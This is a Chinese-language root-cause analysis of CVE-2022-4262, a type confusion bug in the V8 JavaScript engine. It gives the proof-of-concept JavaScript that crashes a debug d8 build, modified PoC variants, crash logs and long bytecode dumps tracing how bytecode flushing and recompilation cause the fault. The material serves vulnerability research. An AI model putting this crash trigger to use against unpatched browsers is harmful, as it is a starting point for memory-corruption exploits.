作者:Jack Ren
原文链接:https://github.com/bjrjk/CVE-2022-4262/blob/main/CVE-2022-4262.md
漏洞编号:CVE-2022-4262
受影响的产品:V8
复现Commit:
- Before Patch: 323ada0128db42088ee76dbeefa577fd07bfd7df
- After Patch: 27fa951ae4a3801126e84bc94d5c82dd2370d18b
关键字:Type Confusion
操作系统:Ubuntu 22.04
执行选项:./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js
预备知识
类的计算属性名及undefined的省略
// 其中,“0”是对象的属性名,初始值为undefined
> class b3 {"0" = undefined} // 或 class b3 {0 = undefined}
undefined
> new b3()
b3 {0: undefined}
// undefined 可省略不写
> class b3 {0}
undefined
> new b3()
b3 {0: undefined}
// “[0]”是ComputedPropertyName词法单元,其等价于"0",因此上述代码还等价于
> class b3 {[0]}
undefined
> new b3()
b3 {0: undefined}
Lambda表达式的默认形参
> ((a = 1) => { return a; })();
1
三元运算符
> ({ c: undefined, d: undefined, e: undefined }) ? 1 : (aa = 1, bb = 2)
1
初始PoC源码
a = function () {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
function ccc() { }
{
((a = class b3 {
[({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
}) => { })();
}
if (j == 11) {
a();
}
}
初始PoC的崩溃信息及其调用栈
RangeError: Array buffer allocation failed
#
# Fatal error in ../../src/objects/object-type.cc, line 81
# Type cast failed in CAST(GetHeapObjectAssumeWeak(maybe_weak_ref, try_handler)) at ../../src/ic/accessor-assembler.cc:3371
Expected PropertyCell but found 0x129e0025a96d: [FeedbackCell] in OldSpace
- map: 0x129e00002b11 <Map[12](FEEDBACK_CELL_TYPE)>
- many closures
- value: 0x129e00003511 <ClosureFeedbackCellArray[0]>
- interrupt_budget: 940
#
#
#
#FailureMessage Object: 0x7ffe81e9b570
==== C stack trace ===============================
out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f4fa5fe9f1e]
out/x64.debug/libv8_libplatform.so(+0x4ad9d) [0x7f4fa5f3fd9d]
out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x16f) [0x7f4fa5fb8b9f]
out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x836b) [0x7f4fa9a31bbb]
[0x7f4f3fdc2ae7]
手工构造恢复的调用栈:
void AccessorAssembler::LoadGlobalIC
void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase
PoC的初步调试
修改后的PoC1
修改后的PoC1源码
运行参数:./d8 --allow-natives-syntax --print-bytecode PoC.js
a = function f1() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
function ccc() { }
{
((a = class b3 {
[({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
}) => { let z = 0xdeadbeef; })(); // 新增z变量,以建立打印出的字节码与各JavaScript函数的对应关系
}
if (j == 11) {
a();
}
%SystemBreak();
}
ByteCode及生成过程
[generated bytecode for function: (0x3ef60025a409 <SharedFunctionInfo>)] // Global Function
Bytecode length: 173
Parameter count 1
Register count 8
Frame size 64
Bytecode age: 0
0x3ef60025a616 @ 0 : 13 00 LdaConstant [0]
0x3ef60025a618 @ 2 : c0 Star4
0x3ef60025a619 @ 3 : 19 fe f5 Mov <closure>, r5
0x3ef60025a61c @ 6 : 65 5e 01 f6 02 CallRuntime [DeclareGlobals], r4-r5
0x3ef60025a621 @ 11 : 80 01 00 00 CreateClosure [1], [0], #0
0x3ef60025a625 @ 15 : 23 02 00 StaGlobal [2], [0]
0x3ef60025a628 @ 18 : 81 03 CreateBlockContext [3]
0x3ef60025a62a @ 20 : 1a f6 PushContext r4
0x3ef60025a62c @ 22 : 10 LdaTheHole
0x3ef60025a62d @ 23 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a62f @ 25 : 0c LdaZero
0x3ef60025a630 @ 26 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a632 @ 28 : 16 02 LdaCurrentContextSlot [2]
0x3ef60025a634 @ 30 : c4 Star0
0x3ef60025a635 @ 31 : 0d 01 LdaSmi [1]
0x3ef60025a637 @ 33 : c3 Star1
0x3ef60025a638 @ 34 : 0e LdaUndefined
0x3ef60025a639 @ 35 : c1 Star3
0x3ef60025a63a @ 36 : 81 04 CreateBlockContext [4]
0x3ef60025a63c @ 38 : 1a f5 PushContext r5
0x3ef60025a63e @ 40 : 10 LdaTheHole
0x3ef60025a63f @ 41 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a641 @ 43 : 0b fa Ldar r0
0x3ef60025a643 @ 45 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a645 @ 47 : 0d 01 LdaSmi [1]
0x3ef60025a647 @ 49 : 6b f9 02 TestEqual r1, [2]
0x3ef60025a64a @ 52 : 99 06 JumpIfFalse [6] (0x3ef60025a650 @ 58)
0x3ef60025a64c @ 54 : 0c LdaZero
0x3ef60025a64d @ 55 : c3 Star1
0x3ef60025a64e @ 56 : 8a 08 Jump [8] (0x3ef60025a656 @ 64)
0x3ef60025a650 @ 58 : 16 02 LdaCurrentContextSlot [2]
0x3ef60025a652 @ 60 : 50 03 Inc [3]
0x3ef60025a654 @ 62 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a656 @ 64 : 0d 01 LdaSmi [1]
0x3ef60025a658 @ 66 : c2 Star2
0x3ef60025a659 @ 67 : 16 02 LdaCurrentContextSlot [2]
0x3ef60025a65b @ 69 : be Star6
0x3ef60025a65c @ 70 : 0d 0d LdaSmi [13]
0x3ef60025a65e @ 72 : 6d f4 04 TestLessThan r6, [4]
0x3ef60025a661 @ 75 : 99 04 JumpIfFalse [4] (0x3ef60025a665 @ 79)
0x3ef60025a663 @ 77 : 8a 06 Jump [6] (0x3ef60025a669 @ 83)
0x3ef60025a665 @ 79 : 1b f5 PopContext r5
0x3ef60025a667 @ 81 : 8a 57 Jump [87] (0x3ef60025a6be @ 168)
0x3ef60025a669 @ 83 : 0e LdaUndefined
0x3ef60025a66a @ 84 : c1 Star3
0x3ef60025a66b @ 85 : 0d 01 LdaSmi [1]
0x3ef60025a66d @ 87 : 6b f8 05 TestEqual r2, [5]
0x3ef60025a670 @ 90 : 99 3d JumpIfFalse [61] (0x3ef60025a6ad @ 151)
0x3ef60025a672 @ 92 : 81 05 CreateBlockContext [5]
0x3ef60025a674 @ 94 : 1a f4 PushContext r6
0x3ef60025a676 @ 96 : 80 06 01 00 CreateClosure [6], [1], #0
0x3ef60025a67a @ 100 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a67c @ 102 : 16 02 LdaCurrentContextSlot [2]
0x3ef60025a67e @ 104 : 23 07 06 StaGlobal [7], [6]
0x3ef60025a681 @ 107 : 80 08 02 00 CreateClosure [8], [2], #0
0x3ef60025a685 @ 111 : bd Star7
0x3ef60025a686 @ 112 : 61 f3 08 CallUndefinedReceiver0 r7, [8]
0x3ef60025a689 @ 115 : 14 f4 02 00 LdaContextSlot r6, [2], [0]
0x3ef60025a68d @ 119 : bd Star7
0x3ef60025a68e @ 120 : 0d 0b LdaSmi [11]
0x3ef60025a690 @ 122 : 6b f3 0a TestEqual r7, [10]
0x3ef60025a693 @ 125 : 99 09 JumpIfFalse [9] (0x3ef60025a69c @ 134)
0x3ef60025a695 @ 127 : 21 02 0b LdaGlobal [2], [11]
0x3ef60025a698 @ 130 : bd Star7
0x3ef60025a699 @ 131 : 61 f3 0d CallUndefinedReceiver0 r7, [13]
0x3ef60025a69c @ 134 : 65 f3 01 fa 00 CallRuntime [SystemBreak], r0-r0
0x3ef60025a6a1 @ 139 : c1 Star3
0x3ef60025a6a2 @ 140 : 1b f4 PopContext r6
0x3ef60025a6a4 @ 142 : 0c LdaZero
0x3ef60025a6a5 @ 143 : c2 Star2
0x3ef60025a6a6 @ 144 : 16 02 LdaCurrentContextSlot [2]
0x3ef60025a6a8 @ 146 : c4 Star0
0x3ef60025a6a9 @ 147 : 89 3e 01 0f JumpLoop [62], [1], [15] (0x3ef60025a66b @ 85)
0x3ef60025a6ad @ 151 : 0d 01 LdaSmi [1]
0x3ef60025a6af @ 153 : 6b f8 10 TestEqual r2, [16]
0x3ef60025a6b2 @ 156 : 99 06 JumpIfFalse [6] (0x3ef60025a6b8 @ 162)
0x3ef60025a6b4 @ 158 : 1b f5 PopContext r5
0x3ef60025a6b6 @ 160 : 8a 08 Jump [8] (0x3ef60025a6be @ 168)
0x3ef60025a6b8 @ 162 : 1b f5 PopContext r5
0x3ef60025a6ba @ 164 : 89 80 00 11 JumpLoop [128], [0], [17] (0x3ef60025a63a @ 36)
0x3ef60025a6be @ 168 : 1b f6 PopContext r4
0x3ef60025a6c0 @ 170 : 0b f7 Ldar r3
0x3ef60025a6c2 @ 172 : a9 Return
Constant pool (size = 9)
0x3ef60025a5c9: [FixedArray] in OldSpace
- map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 9
0: 0x3ef60025a525 <FixedArray[1]>
1: 0x3ef60025a531 <SharedFunctionInfo f1>
2: 0x3ef600004085 <String[1]: #a>
3: 0x3ef60025a431 <ScopeInfo BLOCK_SCOPE>
4: 0x3ef60025a449 <ScopeInfo BLOCK_SCOPE>
5: 0x3ef60025a465 <ScopeInfo BLOCK_SCOPE>
6: 0x3ef60025a569 <SharedFunctionInfo ccc>
7: 0x3ef60025a349 <String[3]: #ccc>
8: 0x3ef60025a5a1 <SharedFunctionInfo>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: (0x3ef60025a5a1 <SharedFunctionInfo>)] // Lambda Expression
Bytecode length: 144
Parameter count 2
Register count 11
Frame size 88
Bytecode age: 0
0x3ef60025a872 @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x3ef60025a875 @ 3 : 1a f9 PushContext r1
0x3ef60025a877 @ 5 : 10 LdaTheHole
0x3ef60025a878 @ 6 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a87a @ 8 : 0b 03 Ldar a0
0x3ef60025a87c @ 10 : 9d 7d JumpIfNotUndefined [125] (0x3ef60025a8f9 @ 135)
0x3ef60025a87e @ 12 : 81 01 CreateBlockContext [1]
0x3ef60025a880 @ 14 : 1a f8 PushContext r2
0x3ef60025a882 @ 16 : 10 LdaTheHole
0x3ef60025a883 @ 17 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a885 @ 19 : 10 LdaTheHole
0x3ef60025a886 @ 20 : 25 03 StaCurrentContextSlot [3]
0x3ef60025a888 @ 22 : 10 LdaTheHole
0x3ef60025a889 @ 23 : be Star6
0x3ef60025a88a @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x3ef60025a88e @ 28 : c1 Star3
0x3ef60025a88f @ 29 : 13 02 LdaConstant [2]
0x3ef60025a891 @ 31 : c0 Star4
0x3ef60025a892 @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x3ef60025a896 @ 36 : bc Star8
0x3ef60025a897 @ 37 : 21 05 01 LdaGlobal [5], [1]
0x3ef60025a89a @ 40 : bb Star9
0x3ef60025a89b @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x3ef60025a89e @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x3ef60025a8a2 @ 48 : 14 f9 02 00 LdaContextSlot r1, [2], [0]
0x3ef60025a8a6 @ 52 : bb Star9
0x3ef60025a8a7 @ 53 : 21 05 01 LdaGlobal [5], [1]
0x3ef60025a8aa @ 56 : ba Star10
0x3ef60025a8ab @ 57 : 62 f1 f0 07 CallUndefinedReceiver1 r9, r10, [7]
0x3ef60025a8af @ 61 : 33 f2 07 09 DefineNamedOwnProperty r8, [7], [9]
0x3ef60025a8b3 @ 65 : 14 f9 02 00 LdaContextSlot r1, [2], [0]
0x3ef60025a8b7 @ 69 : bb Star9
0x3ef60025a8b8 @ 70 : 21 05 01 LdaGlobal [5], [1]
0x3ef60025a8bb @ 73 : ba Star10
0x3ef60025a8bc @ 74 : 62 f1 f0 0b CallUndefinedReceiver1 r9, r10, [11]
0x3ef60025a8c0 @ 78 : 33 f2 08 0d DefineNamedOwnProperty r8, [8], [13]
0x3ef60025a8c4 @ 82 : 19 f7 f5 Mov r3, r5
0x3ef60025a8c7 @ 85 : 0b f2 Ldar r8
0x3ef60025a8c9 @ 87 : 97 05 JumpIfToBooleanFalse [5] (0x3ef60025a8ce @ 92)
0x3ef60025a8cb @ 89 : 0c LdaZero
0x3ef60025a8cc @ 90 : 8a 0f Jump [15] (0x3ef60025a8db @ 105)
0x3ef60025a8ce @ 92 : 0d 01 LdaSmi [1]
0x3ef60025a8d0 @ 94 : 23 09 0f StaGlobal [9], [15]
0x3ef60025a8d3 @ 97 : 0d 02 LdaSmi [2]
0x3ef60025a8d5 @ 99 : bc Star8
0x3ef60025a8d6 @ 100 : 23 0a 11 StaGlobal [10], [17]
0x3ef60025a8d9 @ 103 : 0b f2 Ldar r8
0x3ef60025a8db @ 105 : 73 f3 ToName r7
0x3ef60025a8dd @ 107 : 0b f3 Ldar r7
0x3ef60025a8df @ 109 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a8e1 @ 111 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x3ef60025a8e6 @ 116 : 0b f7 Ldar r3
0x3ef60025a8e8 @ 118 : 25 03 StaCurrentContextSlot [3]
0x3ef60025a8ea @ 120 : 80 0b 01 02 CreateClosure [11], [1], #2
0x3ef60025a8ee @ 124 : c0 Star4
0x3ef60025a8ef @ 125 : 32 f7 0c 13 SetNamedProperty r3, [12], [19]
0x3ef60025a8f3 @ 129 : 1b f8 PopContext r2
0x3ef60025a8f5 @ 131 : 0b f7 Ldar r3
0x3ef60025a8f7 @ 133 : 8a 04 Jump [4] (0x3ef60025a8fb @ 137)
0x3ef60025a8f9 @ 135 : 0b 03 Ldar a0
0x3ef60025a8fb @ 137 : 25 02 StaCurrentContextSlot [2]
0x3ef60025a8fd @ 139 : 13 0d LdaConstant [13]
0x3ef60025a8ff @ 141 : c4 Star0
0x3ef60025a900 @ 142 : 0e LdaUndefined
0x3ef60025a901 @ 143 : a9 Return
Constant pool (size = 14)
0x3ef60025a805: [FixedArray] in OldSpace
- map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 14
0: 0x3ef60025a481 <ScopeInfo FUNCTION_SCOPE>
1: 0x3ef60025a4b1 <ScopeInfo CLASS_SCOPE>
2: 0x3ef60025a7e1 <FixedArray[7]>
3: 0x3ef60025a6dd <SharedFunctionInfo b3>
4: 0x3ef60025a73d <ObjectBoilerplateDescription[7]>
5: 0x3ef600006005 <String[4]: #eval>
6: 0x3ef6000040a5 <String[1]: #c>
7: 0x3ef6000040b5 <String[1]: #d>
8: 0x3ef6000040c5 <String[1]: #e>
9: 0x3ef60025a369 <String[2]: #aa>
10: 0x3ef60025a379 <String[2]: #bb>
11: 0x3ef60025a715 <SharedFunctionInfo <instance_members_initializer>>
12: 0x3ef6000071e5 <Symbol: (class_fields_symbol)>
13: 0x3ef60025a845 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: <instance_members_initializer> (0x3ef60025a715 <SharedFunctionInfo <instance_members_initializer>>)] // member initializer for class b3's new instance
Bytecode length: 10
Parameter count 1
Register count 1
Frame size 8
Bytecode age: 0
0x3ef60025a942 @ 0 : 17 02 LdaImmutableCurrentContextSlot [2]
0x3ef60025a944 @ 2 : c4 Star0
0x3ef60025a945 @ 3 : 0e LdaUndefined
508 E> 0x3ef60025a946 @ 4 : 35 02 fa 00 DefineKeyedOwnProperty <this>, r0, [0]
0x3ef60025a94a @ 8 : 0e LdaUndefined
584 S> 0x3ef60025a94b @ 9 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 8)
0x3ef60025a94d <ByteArray[8]>
[generated bytecode for function: ccc (0x3ef60025a569 <SharedFunctionInfo ccc>)]
Bytecode length: 2
Parameter count 1
Register count 0
Frame size 0
Bytecode age: 0
0x3ef60025ab42 @ 0 : 0e LdaUndefined
0x3ef60025ab43 @ 1 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: f1 (0x3ef60025a531 <SharedFunctionInfo f1>)]
Bytecode length: 121
Parameter count 1
Register count 5
Frame size 40
Bytecode age: 0
0x3ef60025b4ae @ 0 : 19 ff f9 Mov <context>, r1
0x3ef60025b4b1 @ 3 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4b4 @ 6 : c2 Star2
0x3ef60025b4b5 @ 7 : 13 01 LdaConstant [1]
0x3ef60025b4b7 @ 9 : c1 Star3
0x3ef60025b4b8 @ 10 : 0b f8 Ldar r2
0x3ef60025b4ba @ 12 : 69 f8 f7 01 02 Construct r2, r3-r3, [2]
0x3ef60025b4bf @ 17 : c4 Star0
0x3ef60025b4c0 @ 18 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4c3 @ 21 : c2 Star2
0x3ef60025b4c4 @ 22 : 13 01 LdaConstant [1]
0x3ef60025b4c6 @ 24 : c1 Star3
0x3ef60025b4c7 @ 25 : 0b f8 Ldar r2
0x3ef60025b4c9 @ 27 : 69 f8 f7 01 04 Construct r2, r3-r3, [4]
0x3ef60025b4ce @ 32 : c4 Star0
0x3ef60025b4cf @ 33 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4d2 @ 36 : c2 Star2
0x3ef60025b4d3 @ 37 : 13 01 LdaConstant [1]
0x3ef60025b4d5 @ 39 : c1 Star3
0x3ef60025b4d6 @ 40 : 0b f8 Ldar r2
0x3ef60025b4d8 @ 42 : 69 f8 f7 01 06 Construct r2, r3-r3, [6]
0x3ef60025b4dd @ 47 : c4 Star0
0x3ef60025b4de @ 48 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4e1 @ 51 : c2 Star2
0x3ef60025b4e2 @ 52 : 13 01 LdaConstant [1]
0x3ef60025b4e4 @ 54 : c1 Star3
0x3ef60025b4e5 @ 55 : 0b f8 Ldar r2
0x3ef60025b4e7 @ 57 : 69 f8 f7 01 08 Construct r2, r3-r3, [8]
0x3ef60025b4ec @ 62 : c4 Star0
0x3ef60025b4ed @ 63 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4f0 @ 66 : c2 Star2
0x3ef60025b4f1 @ 67 : 13 01 LdaConstant [1]
0x3ef60025b4f3 @ 69 : c1 Star3
0x3ef60025b4f4 @ 70 : 0b f8 Ldar r2
0x3ef60025b4f6 @ 72 : 69 f8 f7 01 0a Construct r2, r3-r3, [10]
0x3ef60025b4fb @ 77 : c4 Star0
0x3ef60025b4fc @ 78 : 21 00 00 LdaGlobal [0], [0]
0x3ef60025b4ff @ 81 : c2 Star2
0x3ef60025b500 @ 82 : 13 01 LdaConstant [1]
0x3ef60025b502 @ 84 : c1 Star3
0x3ef60025b503 @ 85 : 0b f8 Ldar r2
0x3ef60025b505 @ 87 : 69 f8 f7 01 0c Construct r2, r3-r3, [12]
0x3ef60025b50a @ 92 : c4 Star0
0x3ef60025b50b @ 93 : 8a 1a Jump [26] (0x3ef60025b525 @ 119)
0x3ef60025b50d @ 95 : c2 Star2
0x3ef60025b50e @ 96 : 82 f8 02 CreateCatchContext r2, [2]
0x3ef60025b511 @ 99 : c3 Star1
0x3ef60025b512 @ 100 : 10 LdaTheHole
0x3ef60025b513 @ 101 : a6 SetPendingMessage
0x3ef60025b514 @ 102 : 0b f9 Ldar r1
0x3ef60025b516 @ 104 : 1a f8 PushContext r2
0x3ef60025b518 @ 106 : 21 03 0e LdaGlobal [3], [14]
0x3ef60025b51b @ 109 : c1 Star3
0x3ef60025b51c @ 110 : 17 02 LdaImmutableCurrentContextSlot [2]
0x3ef60025b51e @ 112 : c0 Star4
0x3ef60025b51f @ 113 : 62 f7 f6 10 CallUndefinedReceiver1 r3, r4, [16]
0x3ef60025b523 @ 117 : 1b f8 PopContext r2
0x3ef60025b525 @ 119 : 0e LdaUndefined
0x3ef60025b526 @ 120 : a9 Return
Constant pool (size = 4)
0x3ef60025b469: [FixedArray] in OldSpace
- map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 4
0: 0x3ef60000591d <String[11]: #ArrayBuffer>
1: 0x3ef60025b481 <HeapNumber 33285996544.0>
2: 0x3ef60025b439 <ScopeInfo CATCH_SCOPE>
3: 0x3ef60024229d <String[5]: #print>
Handler Table (size = 16)
from to hdlr (prediction, data)
( 3, 93) -> 95 (prediction=1, data=1)
Source Position Table (size = 0)
RangeError: Array buffer allocation failed
[generated bytecode for function: (0x3ef60025a5a1 <SharedFunctionInfo>)] // Regenerated bytecode for Lambda Expression
Bytecode length: 144
Parameter count 2
Register count 11
Frame size 88
Bytecode age: 0
0x3ef60022067a @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x3ef60022067d @ 3 : 1a f9 PushContext r1
0x3ef60022067f @ 5 : 10 LdaTheHole
0x3ef600220680 @ 6 : 25 03 StaCurrentContextSlot [3]
0x3ef600220682 @ 8 : 0b 03 Ldar a0
0x3ef600220684 @ 10 : 9d 7d JumpIfNotUndefined [125] (0x3ef600220701 @ 135)
0x3ef600220686 @ 12 : 81 01 CreateBlockContext [1]
0x3ef600220688 @ 14 : 1a f8 PushContext r2
0x3ef60022068a @ 16 : 10 LdaTheHole
0x3ef60022068b @ 17 : 25 02 StaCurrentContextSlot [2]
0x3ef60022068d @ 19 : 10 LdaTheHole
0x3ef60022068e @ 20 : 25 03 StaCurrentContextSlot [3]
0x3ef600220690 @ 22 : 10 LdaTheHole
0x3ef600220691 @ 23 : be Star6
0x3ef600220692 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x3ef600220696 @ 28 : c1 Star3
0x3ef600220697 @ 29 : 13 02 LdaConstant [2]
0x3ef600220699 @ 31 : c0 Star4
0x3ef60022069a @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x3ef60022069e @ 36 : bc Star8
0x3ef60022069f @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1], [2]
0x3ef6002206a3 @ 41 : bb Star9
0x3ef6002206a4 @ 42 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x3ef6002206a7 @ 45 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x3ef6002206ab @ 49 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0x3ef6002206af @ 53 : bb Star9
0x3ef6002206b0 @ 54 : 28 05 07 02 LdaLookupGlobalSlot [5], [7], [2]
0x3ef6002206b4 @ 58 : ba Star10
0x3ef6002206b5 @ 59 : 62 f1 f0 09 CallUndefinedReceiver1 r9, r10, [9]
0x3ef6002206b9 @ 63 : 33 f2 08 0b DefineNamedOwnProperty r8, [8], [11]
0x3ef6002206bd @ 67 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0x3ef6002206c1 @ 71 : bb Star9
0x3ef6002206c2 @ 72 : 28 05 0d 02 LdaLookupGlobalSlot [5], [13], [2]
0x3ef6002206c6 @ 76 : ba Star10
0x3ef6002206c7 @ 77 : 62 f1 f0 0f CallUndefinedReceiver1 r9, r10, [15]
0x3ef6002206cb @ 81 : 33 f2 09 11 DefineNamedOwnProperty r8, [9], [17]
0x3ef6002206cf @ 85 : 19 f7 f5 Mov r3, r5
0x3ef6002206d2 @ 88 : 0b f2 Ldar r8
0x3ef6002206d4 @ 90 : 97 05 JumpIfToBooleanFalse [5] (0x3ef6002206d9 @ 95)
0x3ef6002206d6 @ 92 : 0c LdaZero
0x3ef6002206d7 @ 93 : 8a 0c Jump [12] (0x3ef6002206e3 @ 105)
0x3ef6002206d9 @ 95 : 0d 01 LdaSmi [1]
0x3ef6002206db @ 97 : 2c 0a 01 StaLookupSlot [10], #1
0x3ef6002206de @ 100 : 0d 02 LdaSmi [2]
0x3ef6002206e0 @ 102 : 2c 0b 01 StaLookupSlot [11], #1
0x3ef6002206e3 @ 105 : 73 f3 ToName r7
0x3ef6002206e5 @ 107 : 0b f3 Ldar r7
0x3ef6002206e7 @ 109 : 25 02 StaCurrentContextSlot [2]
0x3ef6002206e9 @ 111 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x3ef6002206ee @ 116 : 0b f7 Ldar r3
0x3ef6002206f0 @ 118 : 25 03 StaCurrentContextSlot [3]
0x3ef6002206f2 @ 120 : 80 0c 01 02 CreateClosure [12], [1], #2
0x3ef6002206f6 @ 124 : c0 Star4
0x3ef6002206f7 @ 125 : 32 f7 0d 13 SetNamedProperty r3, [13], [19]
0x3ef6002206fb @ 129 : 1b f8 PopContext r2
0x3ef6002206fd @ 131 : 0b f7 Ldar r3
0x3ef6002206ff @ 133 : 8a 04 Jump [4] (0x3ef600220703 @ 137)
0x3ef600220701 @ 135 : 0b 03 Ldar a0
0x3ef600220703 @ 137 : 25 03 StaCurrentContextSlot [3]
0x3ef600220705 @ 139 : 13 0e LdaConstant [14]
0x3ef600220707 @ 141 : c4 Star0
0x3ef600220708 @ 142 : 0e LdaUndefined
0x3ef600220709 @ 143 : a9 Return
Constant pool (size = 15)
0x3ef600220609: [FixedArray] in OldSpace
- map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 15
0: 0x3ef60022045d <ScopeInfo FUNCTION_SCOPE>
1: 0x3ef60022048d <ScopeInfo CLASS_SCOPE>
2: 0x3ef6002205e5 <FixedArray[7]>
3: 0x3ef6002204e1 <SharedFunctionInfo b3>
4: 0x3ef600220541 <ObjectBoilerplateDescription[7]>
5: 0x3ef600006005 <String[4]: #eval>
6: 0x3ef6000040a5 <String[1]: #c>
7: 0x3ef60025a349 <String[3]: #ccc>
8: 0x3ef6000040b5 <String[1]: #d>
9: 0x3ef6000040c5 <String[1]: #e>
10: 0x3ef6002203f5 <String[2]: #aa>
11: 0x3ef600220405 <String[2]: #bb>
12: 0x3ef600220519 <SharedFunctionInfo <instance_members_initializer>>
13: 0x3ef6000071e5 <Symbol: (class_fields_symbol)>
14: 0x3ef60022064d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: <instance_members_initializer> (0x3ef600220519 <SharedFunctionInfo <instance_members_initializer>>)] // Regenerated bytecode for member initializer for class b3's new instance
Bytecode length: 10
Parameter count 1
Register count 1
Frame size 8
Bytecode age: 0
0x3ef60022074a @ 0 : 17 02 LdaImmutableCurrentContextSlot [2]
0x3ef60022074c @ 2 : c4 Star0
0x3ef60022074d @ 3 : 0e LdaUndefined
508 E> 0x3ef60022074e @ 4 : 35 02 fa 00 DefineKeyedOwnProperty <this>, r0, [0]
0x3ef600220752 @ 8 : 0e LdaUndefined
584 S> 0x3ef600220753 @ 9 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 8)
0x3ef600220755 <ByteArray[8]>
分析
观察字节码的编译过程,发现lambda表达式实例函数和类实例成员的初始化函数都被编译了两次。对于lambda表达式实例函数,两次编译的字节码出现了差异。
对两次编译的字节码进行差分检查,发现首次编译函数中的LdaGlobal
字节码在第二次编译时都被替换为了LdaLookupGlobalSlot
。感觉此处能说明什么,但在此处还不能体现出问题。
在此处,我们凭直觉猜想,因为f1
函数申请大量的内存空间,从而使得v8执行垃圾回收操作。垃圾回收的结果是“lambda表达式实例函数”和“类实例成员的初始化函数”编译后的字节码都被清理,为申请的ArrayBuffer腾出空间。但由于申请的空间过多,最后抛出了申请失败的异常。
修改后的PoC2
修改后的PoC2源码
a = function f1() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))] // 化简了lambda表达式实例默认函数参数内部class的计算属性名内容
}) => { let z = 0xdeadbeef; })();
}
if (j == 11) {
a();
}
}
崩溃信息
崩溃信息产生了变化:
#
# Fatal error in ../../src/objects/js-function.cc, line 616
# Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count() (11 vs. 9).
#
#
#
#FailureMessage Object: 0x7fff76c14b30
==== C stack trace ===============================
out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f24a20e7f1e]
out/x64.debug/libv8_libplatform.so(+0x4ad9d) [0x7f24a203dd9d]
out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x16f) [0x7f24a20b6b9f]
